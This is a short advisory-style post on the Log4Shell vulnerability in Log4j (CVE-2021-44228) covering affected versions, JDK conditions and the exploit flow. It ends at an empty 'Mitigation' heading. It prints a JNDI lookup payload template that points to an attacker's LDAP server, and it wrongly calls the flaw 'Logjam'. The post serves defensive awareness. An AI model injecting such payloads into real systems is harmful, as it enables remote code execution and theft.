Log4j is a java-based logging framework which us widely used in an enterprise services, websites, and applications. On Dec 9th,  A 0-day exploit was discovered that results in Remote Code Execution (RCE) by logging a jndi string. This exploit is known as “Log4Shell” and “Logjam.”. Using this vulnerability, an unauthenticated remote actor could exploit this to take control of an affected system. The adversary can then steal information, launch ransomware, or conduct other malicious activity.

Impacted applications.

Many services have been identified to be vulnerable to this exploit. This includes services such as public cloud, CDN, DB, OS, Web/App Servers, API management, APM, Security software and others. Compiled list of services that were affect are given  here This vulnerability affects anybody who’s using the log4j packages (log4j-core, log4j-api, etc) i.e everyone who uses Java, Scala, Groovy, and Clojure. Though  JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected, as in these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false i.e JNDI cannot load remote code using LDAP, there can be other attacks targeting this vulnerability  eg An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers can result in remote execution. 

Affected liberary version

log4j v2​ Almost all versions (2.0-beta9 <= Apache log4j <= 2.14.1) of log4j version 2 are affected – CVE-2021-44228   Please note that log4j v1​ is vulnerable to other RCE attacks – CVE-2019-17571. It is recommended to upgrade this to latest version

How this exploit works

User sends the request to the server. The malicious code is embedded in the body or the header The server logs the incoming data containing the malicious payload: ${jndi:ldap://<>} (where remote url is the hacker’s server). The log4j executes log statements and this server makes a request to remote url using JNDI. The remote server responds with a path to another Java class file (ex: [http://%3c%3cremote]http://<>/XYZ.class). This will be injected into the server process. The injected java class executes in the jvm and allows a hacker to execute arbitrary code in the server.

Mitigation